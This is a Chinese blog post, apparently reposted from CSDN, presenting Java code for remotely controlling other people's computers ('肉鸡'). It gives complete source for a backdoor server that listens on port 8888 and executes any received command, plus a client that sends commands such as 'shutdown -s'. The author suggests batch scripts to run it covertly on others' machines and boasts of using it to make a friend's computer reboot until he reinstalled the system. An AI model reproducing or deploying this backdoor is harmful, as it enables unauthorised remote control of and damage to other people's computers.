java也可以来做黑客:控制肉鸡

来源:互联网 发布:英美留学 源码 编辑:程序博客网 时间:2024/04/29 05:24
一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。
关于135的端口说明如下:

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

当然通过java来实现,确实有点困难,本人不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本文的研究范围,如有兴趣读者可以自己查阅。言归正传,我们看一下java远程控制的简单实现。

远程计算机注入的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;

public class Main implements Runnable {
    public static final int TCP_PORT = 8888;
    ServerSocket ss = null;
    Socket s = null;
    String cmd = null;

    public Main(Socket s) {
        this.s = s;
    }

    public void startServer() {
        try {
            ss = new ServerSocket(TCP_PORT);
               } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        while (true) {
            try {
                s = ss.accept();
                new Thread(new Main(s)).start();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }

    public void run() {
        try {
            DataOutputStream dos = new DataOutputStream(s.getOutputStream());
            dos.writeUTF("连接成功");
            DataInputStream dis = new DataInputStream(s.getInputStream());
            while (true) {
                cmd = dis.readUTF();
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                }
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        new Main(null).startServer();
    }

}

       原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。

       本机的代码如下:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main  {
    public static final int TCP_PORT = 8888;
    public static String ip = "127.0.0.1"; 
    Socket s = null;
    String cmd = null;
    
    public static void main(String[] args) {
        new Main().connect();
    }
    
    public void connect(){
        try {
            s = new Socket(ip,TCP_PORT);
    System.out.println("连接成功");
            DataOutputStream dos = new DataOutputStream(s.getOutputStream());
            do{
            cmd = JOptionPane.showInputDialog("输入命令:");
            dos.writeUTF(cmd);
            }while(!cmd.equals("over"));
            
            new Thread(new RecvThread()).start();
        } catch (UnknownHostException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    private class RecvThread implements Runnable{
    public void run() {
        DataInputStream dis;
        while(true){
        try {            
            dis = new DataInputStream(s.getInputStream());
            String message = dis.readUTF();
      JOptionPane.showMessageDialog(null, message);
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    }
}
}

        原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。

     弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。

     

注:需要说明的是,由于本人的firefox不支持该博客的代码插入功能,只能将代码简单的复制,请大家见谅。另外如果要想让该程序成功的在他人计算机上偷偷的运行,只靠java还是不行。加上一些处批命令,就可以简单的搞定。有兴趣的话,大家可以研究。本人就用着段简单的代码,让一个哥们的电脑频繁的重启,呵呵!害他不知所以然,还重装了一遍系统。大家知道了不要告诉他哦!

原文:http://blog.csdn.net/smartcat86/article/details/2157273


0 0
原创粉丝点击